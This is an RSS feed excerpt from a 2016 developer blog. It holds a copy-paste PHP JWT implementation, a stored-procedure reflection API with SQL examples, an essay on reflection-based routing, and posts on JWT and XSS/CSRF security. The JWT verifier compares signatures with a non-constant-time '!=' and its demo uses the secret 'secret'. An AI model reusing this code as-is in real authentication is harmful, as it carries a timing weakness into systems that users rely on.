      <content:encoded><![CDATA[<p>I did a basic implementation of a JWT authentication scheme in PHP. It has no
dependencies, so you can simply incorporate the two functions below in any
existing application. I have been writing about
<a href="http://tqdev.com/2016-javascript-web-token-security">JavaScript Web Token security</a>
earlier this month. It is a token standard that is well described on
<a href="http://jwt.io/">JWT.io</a>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getVerifiedClaims</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span><span class="nv">$time</span><span class="p">,</span><span class="nv">$leeway</span><span class="p">,</span><span class="nv">$ttl</span><span class="p">,</span><span class="nv">$algorithm</span><span class="p">,</span><span class="nv">$secret</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$algorithms</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">&#39;HS256&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha256&#39;</span><span class="p">,</span><span class="s1">&#39;HS384&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha384&#39;</span><span class="p">,</span><span class="s1">&#39;HS512&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha512&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$algorithms</span><span class="p">[</span><span class="nv">$algorithm</span><span class="p">]))</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$hmac</span> <span class="o">=</span> <span class="nv">$algorithms</span><span class="p">[</span><span class="nv">$algorithm</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span> <span class="o">=</span> <span class="nx">explode</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">,</span><span class="nv">$token</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">count</span><span class="p">(</span><span class="nv">$token</span><span class="p">)</span><span class="o">&lt;</span><span class="mi">3</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$header</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nv">$token</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="s1">&#39;-_&#39;</span><span class="p">,</span><span class="s1">&#39;+/&#39;</span><span class="p">)),</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$secret</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$header</span><span class="p">[</span><span class="s1">&#39;typ&#39;</span><span class="p">]</span><span class="o">!=</span><span class="s1">&#39;JWT&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$header</span><span class="p">[</span><span class="s1">&#39;alg&#39;</span><span class="p">]</span><span class="o">!=</span><span class="nv">$algorithm</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$signature</span> <span class="o">=</span> <span class="nx">bin2hex</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nv">$token</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="s1">&#39;-_&#39;</span><span class="p">,</span><span class="s1">&#39;+/&#39;</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$signature</span><span class="o">!=</span><span class="nx">hash_hmac</span><span class="p">(</span><span class="nv">$hmac</span><span class="p">,</span><span class="s2">&#34;</span><span class="si">$token[0]</span><span class="s2">.</span><span class="si">$token[1]</span><span class="s2">&#34;</span><span class="p">,</span><span class="nv">$secret</span><span class="p">))</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$claims</span> <span class="o">=</span> <span class="nx">json_decode</span><span class="p">(</span><span class="nx">base64_decode</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nv">$token</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s1">&#39;-_&#39;</span><span class="p">,</span><span class="s1">&#39;+/&#39;</span><span class="p">)),</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$claims</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;nbf&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$time</span><span class="o">+</span><span class="nv">$leeway</span><span class="o">&lt;</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;nbf&#39;</span><span class="p">])</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;iat&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$time</span><span class="o">+</span><span class="nv">$leeway</span><span class="o">&lt;</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;iat&#39;</span><span class="p">])</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;exp&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nv">$time</span><span class="o">-</span><span class="nv">$leeway</span><span class="o">&gt;</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;exp&#39;</span><span class="p">])</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;iat&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;exp&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$time</span><span class="o">-</span><span class="nv">$leeway</span><span class="o">&gt;</span><span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;iat&#39;</span><span class="p">]</span><span class="o">+</span><span class="nv">$ttl</span><span class="p">)</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$claims</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">generateToken</span><span class="p">(</span><span class="nv">$claims</span><span class="p">,</span><span class="nv">$time</span><span class="p">,</span><span class="nv">$ttl</span><span class="p">,</span><span class="nv">$algorithm</span><span class="p">,</span><span class="nv">$secret</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$algorithms</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">&#39;HS256&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha256&#39;</span><span class="p">,</span><span class="s1">&#39;HS384&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha384&#39;</span><span class="p">,</span><span class="s1">&#39;HS512&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha512&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$header</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$header</span><span class="p">[</span><span class="s1">&#39;typ&#39;</span><span class="p">]</span><span class="o">=</span><span class="s1">&#39;JWT&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$header</span><span class="p">[</span><span class="s1">&#39;alg&#39;</span><span class="p">]</span><span class="o">=</span><span class="nv">$algorithm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">rtrim</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nx">base64_encode</span><span class="p">(</span><span class="nx">json_encode</span><span class="p">((</span><span class="nx">object</span><span class="p">)</span><span class="nv">$header</span><span class="p">)),</span><span class="s1">&#39;+/&#39;</span><span class="p">,</span><span class="s1">&#39;-_&#39;</span><span class="p">),</span><span class="s1">&#39;=&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;iat&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$time</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$claims</span><span class="p">[</span><span class="s1">&#39;exp&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$time</span> <span class="o">+</span> <span class="nv">$ttl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">rtrim</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nx">base64_encode</span><span class="p">(</span><span class="nx">json_encode</span><span class="p">((</span><span class="nx">object</span><span class="p">)</span><span class="nv">$claims</span><span class="p">)),</span><span class="s1">&#39;+/&#39;</span><span class="p">,</span><span class="s1">&#39;-_&#39;</span><span class="p">),</span><span class="s1">&#39;=&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$algorithms</span><span class="p">[</span><span class="nv">$algorithm</span><span class="p">]))</span> <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$hmac</span> <span class="o">=</span> <span class="nv">$algorithms</span><span class="p">[</span><span class="nv">$algorithm</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$signature</span> <span class="o">=</span> <span class="nx">hash_hmac</span><span class="p">(</span><span class="nv">$hmac</span><span class="p">,</span><span class="s2">&#34;</span><span class="si">$token[0]</span><span class="s2">.</span><span class="si">$token[1]</span><span class="s2">&#34;</span><span class="p">,</span><span class="nv">$secret</span><span class="p">,</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$token</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">rtrim</span><span class="p">(</span><span class="nx">strtr</span><span class="p">(</span><span class="nx">base64_encode</span><span class="p">(</span><span class="nv">$signature</span><span class="p">),</span><span class="s1">&#39;+/&#39;</span><span class="p">,</span><span class="s1">&#39;-_&#39;</span><span class="p">),</span><span class="s1">&#39;=&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">implode</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">,</span><span class="nv">$token</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$algorithm</span> <span class="o">=</span> <span class="s1">&#39;HS256&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$secret</span> <span class="o">=</span> <span class="s1">&#39;secret&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$time</span> <span class="o">=</span> <span class="nx">time</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nv">$leeway</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span> <span class="c1">// seconds
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$ttl</span> <span class="o">=</span> <span class="mi">30</span><span class="p">;</span> <span class="c1">// seconds
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$claims</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">&#39;sub&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;1234567890&#39;</span><span class="p">,</span><span class="s1">&#39;name&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;John Doe&#39;</span><span class="p">,</span><span class="s1">&#39;admin&#39;</span><span class="o">=&gt;</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// test that the functions are working
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$token</span> <span class="o">=</span> <span class="nx">generateToken</span><span class="p">(</span><span class="nv">$claims</span><span class="p">,</span><span class="nv">$time</span><span class="p">,</span><span class="nv">$ttl</span><span class="p">,</span><span class="nv">$algorithm</span><span class="p">,</span><span class="nv">$secret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="s2">&#34;</span><span class="si">$token\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$claims</span> <span class="o">=</span> <span class="nx">getVerifiedClaims</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span><span class="nv">$time</span><span class="p">,</span><span class="nv">$leeway</span><span class="p">,</span><span class="nv">$ttl</span><span class="p">,</span><span class="nv">$algorithm</span><span class="p">,</span><span class="nv">$secret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nv">$claims</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="important-notes">Important notes</h3>
<p>Note that this implementation supports &ldquo;HS&rdquo; (HMAC based) signature algorithm
with &ldquo;iat&rdquo; (issued at), &ldquo;nbf&rdquo; (not before) and &ldquo;exp&rdquo; (expires) fields. It does
NOT support the &ldquo;RS&rdquo; (RSA based) and &ldquo;ES&rdquo; (Eliptic Curve based) signature
algorithms. It also does NOT check the &ldquo;iss&rdquo; (issuer), &ldquo;sub&rdquo; (subject), &ldquo;aud&rdquo;
(audience), &ldquo;jti&rdquo; (JWT token identifier) or &ldquo;kid&rdquo; (key identifier) fields.
Please read the documentation on <a href="http://jwt.io/">JWT.io</a> to find out whether or
not that matters to you.</p>
<h3 id="better-alternative">Better alternative</h3>
<p>If you don&rsquo;t mind using a dependency (and composer) then you may prefer the
<a href="https://github.com/lcobucci/jwt">lcobucci/jwt</a> package by Luís Otávio Cobucci
Oblonczyk as it is popular, well maintained and feature-complete.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Stored procedure reflection API</title>
      <link>https://www.tqdev.com/2016-stored-procedure-reflection-api/</link>
      <pubDate>Tue, 15 Mar 2016 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-stored-procedure-reflection-api/</guid>
      <description>&lt;p&gt;If you are following this blog, then you know I&amp;rsquo;m working a lot on API software
architectures. I noticed that a lot of people that are building an API are
actually building the same thing (except for the data model they expose).
Typically they simply expose their tables using JSON REST operations (typically
Create, Read, Update and Delete) or they expose their more sophisticated stored
procedures via their API. This post is about that last category.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you are following this blog, then you know I&rsquo;m working a lot on API software
architectures. I noticed that a lot of people that are building an API are
actually building the same thing (except for the data model they expose).
Typically they simply expose their tables using JSON REST operations (typically
Create, Read, Update and Delete) or they expose their more sophisticated stored
procedures via their API. This post is about that last category.</p>
<h3 id="stored-procedures">Stored Procedures</h3>
<p>A stored procedure is code in SQL or in a procedural variant that can have
input, output and in/out variables. It has a name and it may return one or more
result sets. The simplest stored procedure you may think of looks something like
this:</p>
<pre><code>DELIMITER ;;
DROP PROCEDURE IF EXISTS `get_home_page_posts`;;
CREATE PROCEDURE `get_home_page_posts`()
BEGIN
  select * from posts limit 10;
END;;
</code></pre>
<p>This stored procedure has no input or output variables and has one &lsquo;unbound&rsquo;
select statement and thus returns one result set. Now consider this stored
procedure:</p>
<pre><code>DELIMITER ;;
DROP PROCEDURE IF EXISTS `get_post_count_for_user`;;
CREATE PROCEDURE `get_post_count_for_user`(IN user_id INT,OUT post_count BIGINT)
BEGIN
  SELECT count(posts.id) INTO post_count FROM posts WHERE posts.user_id = user_id;
END;;
</code></pre>
<p>This stored procedure has one input and one output parameter. Since it does not
have any &lsquo;unbound&rsquo; select statements it does not return a result set.</p>
<h3 id="reflection">Reflection</h3>
<p>The &lsquo;INFORMATION_SCHEMA&rsquo; reflection database has a view named &lsquo;ROUTINES&rsquo; that
can be used for inspection of the defined stored procedures. There is also a
view called &lsquo;PARAMETERS&rsquo; that can be used to learn more about the parameters of
the stored procedures.</p>
<pre><code>SELECT 
  `SPECIFIC_NAME`
FROM
  `INFORMATION_SCHEMA`.`ROUTINES`
WHERE 
  `ROUTINE_TYPE` = 'PROCEDURE' AND
  `ROUTINE_SCHEMA` = 'my_database' AND
  `SPECIFIC_NAME` = 'get_post_count_for_user';
</code></pre>
<p>This can be used to detect whether or not a stored procedure exists.</p>
<pre><code>SELECT
  `ORDINAL_POSITION`,
  `PARAMETER_MODE`,
  `PARAMETER_NAME`,
  `DTD_IDENTIFIER`
FROM
  `INFORMATION_SCHEMA`.`PARAMETERS`
WHERE
  `SPECIFIC_SCHEMA` = 'my_database' AND
  `SPECIFIC_NAME` = 'get_post_count_for_user'
ORDER BY
  `ORDINAL_POSITION`;
</code></pre>
<p>When this SQL query is executed it will return:</p>
<pre><code>+------------------+----------------+----------------+----------------+
| ORDINAL_POSITION | PARAMETER_MODE | PARAMETER_NAME | DTD_IDENTIFIER |
+------------------+----------------+----------------+----------------+
|                1 | IN             | user_id        | int(11)        |
|                2 | OUT            | post_count     | bigint(20)     |
+------------------+----------------+----------------+----------------+
2 rows in set (0,00 sec)
</code></pre>
<p>As you can see it contains important details about the parameters of the stored
procedure.</p>
<h3 id="first-release">First release</h3>
<p>So, I used these commands to create a very first reflection based, thus generic,
stored procedure API. You can find
<a href="https://github.com/mevdschee/php-sp-api">PHP-SP-API</a> on my Github page. It
allows you to list and execute stored procedures. It is easy to use: enter your
database configuration in the &ldquo;api.php&rdquo; file and upload it and you are ready to
go! Here is how you can invoke it if you have a Linux box with PHP enabled and
the file in &lsquo;/var/www/html&rsquo;:</p>
<pre><code>curl 'http://localhost/api.php/get_post_count_for_user' --data 'user_id=1'
</code></pre>
<p>This will actually execute the stored procedure above and return:</p>
<pre><code>[[{&quot;post_count&quot;:&quot;12&quot;}]]
</code></pre>
<p>Note that this is a response consisting of a set of result sets. In this case
there are no result sets, so you might expect an empty answer. This is not the
case as a pseudo result set is added that contains the output parameters of the
stored procedure (always single row).</p>
<h3 id="whats-next">What&rsquo;s next</h3>
<p>In the end I hope this script will be just as successful as it&rsquo;s bigger brother,
the <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> project. Right now
this project is in proof-of-concept state and only does some bare minimum tasks.
I will be adding features one-by-one, such as database drivers for PostgreSQL
and SQLServer and Swagger API specification support (for documentation).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Reflection on software reflection</title>
      <link>https://www.tqdev.com/2016-reflection-on-software-reflection/</link>
      <pubDate>Sat, 12 Mar 2016 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-reflection-on-software-reflection/</guid>
      <description>&lt;p&gt;On c2.com I read a quote by Jeff Mantei on the
&lt;a href=&#34;http://c2.com/cgi/wiki?OnReflection&#34;&gt;OnReflection page&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I think of reflection as the ability to reason about the structures and
processes of a programming system within the programming system itself. - Jeff
Mantei&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I was thinking of another definition saying:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reflection is when the logic of an information system is based on the
meta-information of that system.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;But after giving it some serious thought I believe Jeff is much better. His
quote is not only a very concise definition of reflection, but he is also not
cheating by using the word &amp;ldquo;meta&amp;rdquo;, as I did, which has a lot to do with
reflection.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On c2.com I read a quote by Jeff Mantei on the
<a href="http://c2.com/cgi/wiki?OnReflection">OnReflection page</a>:</p>
<blockquote>
<p>I think of reflection as the ability to reason about the structures and
processes of a programming system within the programming system itself. - Jeff
Mantei</p></blockquote>
<p>I was thinking of another definition saying:</p>
<blockquote>
<p>Reflection is when the logic of an information system is based on the
meta-information of that system.</p></blockquote>
<p>But after giving it some serious thought I believe Jeff is much better. His
quote is not only a very concise definition of reflection, but he is also not
cheating by using the word &ldquo;meta&rdquo;, as I did, which has a lot to do with
reflection.</p>
<h3 id="reflection-in-sql">Reflection in SQL</h3>
<p>Reflection is also what
<a href="https://github.com/mevdschee/php-crud-api">php-crud-api</a> is doing. It uses the
SQL reflection schema (called &ldquo;information_schema&rdquo;) to query the database about
it&rsquo;s structure. Then it uses that data to perform a standardized set of API
commands. These commands are known as &ldquo;CRUD&rdquo; command, since they consist of
&ldquo;Create&rdquo;, &ldquo;Read&rdquo;, &ldquo;Update&rdquo; and &ldquo;Delete&rdquo;. I recently added
<a href="http://swagger.io/specification/">Swagger API specification</a> output based on
the same reflection so you can generate beautiful API documentation.</p>
<h3 id="reflection-in-web-application-routing">Reflection in web application routing</h3>
<p>Web application routing is when an web request containing an web address (URL)
is converted (routed) to a specific piece of code that is executed. You can make
the router reflect the structure of the files on disk (like in
<a href="https://github.com/mintyphp/mintyphp">MintyPHP</a>). Another possibility is to
reflect the public methods of your controller classes (like in
<a href="https://github.com/mevdschee/maussoft-mvc">maussoft-mvc</a>). You can also base
the routing on the structure of your database (like in
<a href="https://github.com/mevdschee/php-crud-api">php-crud-api</a>). Note that not
everybody uses (or even recommends) reflection for routing. A different approach
is that the router looks up the address in a set of rules (called a router
configuration) to find the code that is to be executed.</p>
<p>IMHO this is a bad idea and it is not about execution efficiency. I believe that
the &ldquo;mental costs&rdquo; of a router configuration are quite high. Every time you are
debugging a erroneous or non-behaving URL you have to find out which code is
executed for that particular URL. That&rsquo;s why I strongly advice to avoid router
configurations at all, regardless of whether it is applied through annotations
or using a separate router configuration file.</p>
<p>On the other hand I do understand that frameworks support router configurations.
They do this to facilitate porting legacy applications (with existing addresses)
to this framework. By allowing you to add this indirection you get the
opportunity to transparently restructure your application. Sounds great, but it
should probably be avoided as the cost of complexity is often underestimated.</p>
<p>And when working on a green-field project you should IMHO always avoid router
configurations and use one of the default routing (reflection based routing)
systems described above. Even when you are dealing with porting a legacy
application you may be able to overcome your limitations by simply redirecting
the legacy addresses to the new consistent addressing scheme. After a few months
(or years) you can turn of your redirection service as traffic to it will reduce
as people start using the new addresses.</p>
<h3 id="reflection-for-scaling-software">Reflection for scaling software</h3>
<p>A serious administrative application can have up to hundred database tables.
When you want to expose such a mature data structure via an API you may have to
facilitate hundreds of different API calls. The challenge will be to keep the
code base limited in size and consistent in performance and behavior. This is
typically when you try to add an abstraction level to generalize your code.</p>
<p>An existing reflection structure may be a good candidate to facilitate this
process. Other people have used this structure before you. Maybe even for the
same purpose. The chances are good that you are able to solve your problems
without much trouble. Reflection often feels like it &lsquo;fits&rsquo;, because you don&rsquo;t
have to invent it yourself.</p>
<h3 id="i-love-reflection">I love reflection</h3>
<p>To conclude I&rsquo;ll summarize the 3 reasons I love reflection:</p>
<ul>
<li>Reflection ensures consistency.</li>
<li>Reflection helps you to stay DRY (Don&rsquo;t Repeat Yourself).</li>
<li>Reflection offers a mature abstraction.</li>
</ul>
<p>Let me know what you think about using reflection. Should it be recommended or
avoided?</p>
]]></content:encoded>
    </item>
    <item>
      <title>JavaScript Web Token security</title>
      <link>https://www.tqdev.com/2016-javascript-web-token-security/</link>
      <pubDate>Wed, 09 Mar 2016 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-javascript-web-token-security/</guid>
      <description>&lt;p&gt;This post will discuss how to use JSON Web Token (JWT) to separate your
authentication from you API endpoints and how to do so securely in a Single Page
Application (SPA).&lt;/p&gt;
&lt;h3 id=&#34;json-web-token-jwt&#34;&gt;JSON Web Token (JWT)&lt;/h3&gt;
&lt;p&gt;A JSON Web Token is an alternative for the combination of a session cookie and a
server side session object. It typically contains the authentication and
authorization &amp;ldquo;claims&amp;rdquo;. The user identifier (a technical primary key or
something uniquely identifying the user, such as an email address) is almost
always on of the claims (called the &amp;ldquo;subject&amp;rdquo;). Typically you may also have the
role of that user in the application as a claim. These claims are sent to the
server using a &amp;ldquo;Authorization&amp;rdquo; request header and can be trusted, because they
are signed by the issuer (typically your authentication service).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>This post will discuss how to use JSON Web Token (JWT) to separate your
authentication from you API endpoints and how to do so securely in a Single Page
Application (SPA).</p>
<h3 id="json-web-token-jwt">JSON Web Token (JWT)</h3>
<p>A JSON Web Token is an alternative for the combination of a session cookie and a
server side session object. It typically contains the authentication and
authorization &ldquo;claims&rdquo;. The user identifier (a technical primary key or
something uniquely identifying the user, such as an email address) is almost
always on of the claims (called the &ldquo;subject&rdquo;). Typically you may also have the
role of that user in the application as a claim. These claims are sent to the
server using a &ldquo;Authorization&rdquo; request header and can be trusted, because they
are signed by the issuer (typically your authentication service).</p>
<h3 id="read-only">Read-only</h3>
<p>The biggest difference between traditional session cookies and JWT based session
is that the session data is considered to be limited in size (due to the maximum
header size of 8kb) and that it should be read-only. You may argue that
technically the cookie can be overwritten by the receiver, but I would strongly
recommend against it. It is much cleaner to write the token only once and let
your authentication service be the only one doing this. Also you may run into
concurrency issues similar to the ones you run into when you do not lock your
session.</p>
<h3 id="xss-protection">XSS protection</h3>
<p>The disadvantage of using JWT based sessions is that there is not XSS protection
comparable to the &ldquo;HttpOnly&rdquo; flag on the session cookie. This is due to the
nature of the JWT, which purpose it is to let another domain handle the
authentication for your application. This problem&rsquo;s effect may be limited when
you separate the login part of your web application into a stand-alone SPA. This
SPA must call a &ldquo;login&rdquo; API to convert the JWT from the &ldquo;Authorization&rdquo; header
into a traditional (HttpOnly) cookie for all used API endpoints. Note that this
session does not copy the &ldquo;expiration&rdquo; time from the JWT as it should be set to
expire at the end of the session. This means that there is also no need to
refresh the token. The expiration time of the JWT may be as short as a few
seconds, enough to &ldquo;login&rdquo; to all API endpoints.</p>
<h3 id="xsrf-token">XSRF-Token</h3>
<p>A JWT should be stored in the HTML5 sessionStorage in the &ldquo;login&rdquo; SPA. This
storage is isolated per browser tab and does therefore not need any additional
CSRF protection. In the &ldquo;application&rdquo; SPA you are using a traditional cookie
based session, to protect you against XSS. The downside of this is that you now
need CSRF protection. If you are using Angular you can use it&rsquo;s built-in CSRF
protection. On every &ldquo;$http&rdquo; request it will add a &ldquo;X-XSRF-TOKEN&rdquo; header with
the content of the &ldquo;XSRF-TOKEN&rdquo; cookie it has received from the same domain. The
API endpoint needs to set this cookie in the &ldquo;login&rdquo; API call (and store it&rsquo;s
value in the just created session). On subsequent calls the API endpoint should
be compare the &ldquo;X-XSRF-TOKEN&rdquo; header value to the session stored &ldquo;XSRF-TOKEN&rdquo;
value.</p>
<h3 id="conclusion">Conclusion</h3>
<p>As long as you are not creating a web application, the usage of JWT is quite
simple. As soon as you start to take XSS into account, things become more
difficult. Isolate your login functionality into a separate SPA and use cookie
based sessions for the rest of your application to reduce the risk of stolen
tokens.</p>
<h3 id="further-reading">Further reading</h3>
<ul>
<li><a href="http://stackoverflow.com/questions/686217/maximum-on-http-header-values#686243">Maximum on http header values?</a></li>
<li><a href="https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/">Where to Store Your JWTs - Cookies vs HTML5 Web Storage</a></li>
<li><a href="https://stormpath.com/blog/token-auth-spa/">Token Based Authentication for Single Page Apps (SPAs)</a></li>
<li><a href="https://stormpath.com/blog/build-secure-user-interfaces-using-jwts/">Build Secure User Interfaces Using JSON Web Tokens (JWTs)</a></li>
<li><a href="http://stackoverflow.com/questions/6968074/why-not-use-session-id-as-xsrf-token">Why not use session ID as XSRF token?</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>XSS and CSRF mitigation</title>
      <link>https://www.tqdev.com/2016-xss-csrf-mitigation/</link>
      <pubDate>Sun, 06 Mar 2016 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-xss-csrf-mitigation/</guid>
      <description>&lt;p&gt;This post will explain what XSS and CSRF attacks on web applications are and
also what the best practices are to counter them. It will explain the mitigation
techniques: Output escaping, &amp;ldquo;HttpOnly&amp;rdquo; cookie and CSRF-token.&lt;/p&gt;
&lt;h3 id=&#34;xss-and-csrf-explained&#34;&gt;XSS and CSRF explained&lt;/h3&gt;
